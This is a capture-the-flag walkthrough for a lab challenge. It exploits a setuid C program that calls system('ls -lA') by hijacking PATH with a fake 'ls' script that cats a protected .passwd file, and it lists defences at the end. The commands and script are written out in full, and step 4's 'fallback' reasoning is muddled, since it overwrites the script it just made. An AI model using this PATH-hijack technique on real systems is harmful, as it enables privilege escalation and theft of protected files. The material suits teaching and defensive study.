Understanding the Challenge
This challenge explores advanced techniques in privilege escalation and command manipulation within a Unix-like environment. You'll leverage system calls and file permissions to bypass security restrictions and read a protected .passwd file using a vulnerable C program and a custom Bash script. The exercise builds on foundational concepts while introducing new complexities in command execution.
Key Points
- Objective: Exploit the
ch12binary to read the contents of/challenge/app-script/ch12/.passwd. - Core Functions:
setreuid(): Sets the real and effective user IDs of the calling process to match the binary's permissions.system(): Executes a shell command (here,ls -lA) by invoking/bin/sh.
- Challenge Twist: The
lscommand includes-lAflags, requiring creative manipulation to bypass them.
Challenge Breakdown
Provided Vulnerable Code
The following C program is the target of the exploit:
#include <stdlib.h>
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
int main() {
setreuid(geteuid(), geteuid());
system("ls -lA /challenge/app-script/ch12/.passwd");
return 0;
}
Key Insight: The binary runs with elevated privileges (via
setreuid) and executesls -lAon the target file. Your goal is to hijack this command.
Step-by-Step Exploitation
1. Understand the Attack Surface
- The
system()call invokes/bin/shto runls -lA. - By manipulating the
$PATHenvironment variable, you can redirectlsto a malicious script.
2. Prepare the Exploit Environment
Create a custom directory and modify $PATH to prioritize it:
mkdir -p /tmp/exploit
export PATH=/tmp/exploit:$PATH
3. Craft the Malicious ls Script
Create a Bash script named ls in /tmp/exploit to ignore flags and output the .passwd file:
#!/bin/bash
# Ignore all flags (e.g., -lA) and arguments
shift $(( $# - 1 )) # Remove all arguments except the last (the file path)
cat "$1" # Output the file contents
Make the script executable:
chmod +x /tmp/exploit/ls
4. Copy /bin/cat as a Fallback
To ensure robustness, copy /bin/cat to the exploit directory and rename it to ls:
cp /bin/cat /tmp/exploit/ls
Why This Works: The script intercepts the
ls -lAcall, discards the flags, and usescatto display the file. The copied/bin/catacts as a backup if the script fails.
5. Execute the Exploit
Run the ch12 binary to trigger the exploit:
/challenge/app-script/ch12/ch12
Critical Concepts Explained
System Calls in Focus
| Function | Purpose | Security Implications |
|---|---|---|
setreuid() | Sets real/effective user IDs to match the binary's owner. | Can grant unintended privileges if misused. |
system() | Executes a shell command via /bin/sh. | Vulnerable to command injection attacks. |
File Permissions and $PATH
$PATH: A colon-separated list of directories where the shell searches for commands.- Risk: If a writable directory (e.g.,
/tmp) appears early in$PATH, attackers can override legitimate commands.
- Risk: If a writable directory (e.g.,
- File Permissions:
- The
.passwdfile is likely readable only by a specific user/group (e.g.,ch12). - The
ch12binary runs with the file owner's permissions (viasetreuid).
- The
Common Pitfalls and Solutions
| Pitfall | Solution |
|---|---|
| Script fails to handle flags. | Use shift to discard arguments or parse them with getopts. |
$PATH not updated correctly. | Verify with echo $PATH; ensure the exploit directory is first. |
Permission denied on .passwd. | Confirm the binary's setreuid call succeeds (check with strace). |
Learn More
Deep Dive Topics
- Unix File Permissions:
- Learn about
chmod,chown, and the sticky bit (/tmppermissions). - Explore setuid/setgid binaries and their risks.
- Learn about
- Bash Scripting:
- Master argument parsing (
getopts,shift). - Study environment variable manipulation (
$PATH,$IFS).
- Master argument parsing (
- System Calls:
- Research
execve(),fork(), andptrace()for process control. - Understand LD_PRELOAD for library hijacking.
- Research
Practical Exercises
- Modify the exploit to log all executed commands to a file.
- Defend against this attack by:
- Using absolute paths for commands (e.g.,
/bin/ls). - Restricting
$PATHin the binary (e.g.,setenv("PATH", "/bin:/usr/bin", 1)).
- Using absolute paths for commands (e.g.,
- Experiment with
straceto trace system calls during execution:strace -f /challenge/app-script/ch12/ch12
Summary
This challenge demonstrates how environment manipulation and command injection can bypass security controls. By understanding:
- How
setreuidandsysteminteract, - The role of
$PATHin command resolution, and - Bash scripting techniques for argument handling,
you can both exploit and defend against similar vulnerabilities. Always validate inputs, use absolute paths, and restrict environment variables in security-sensitive code.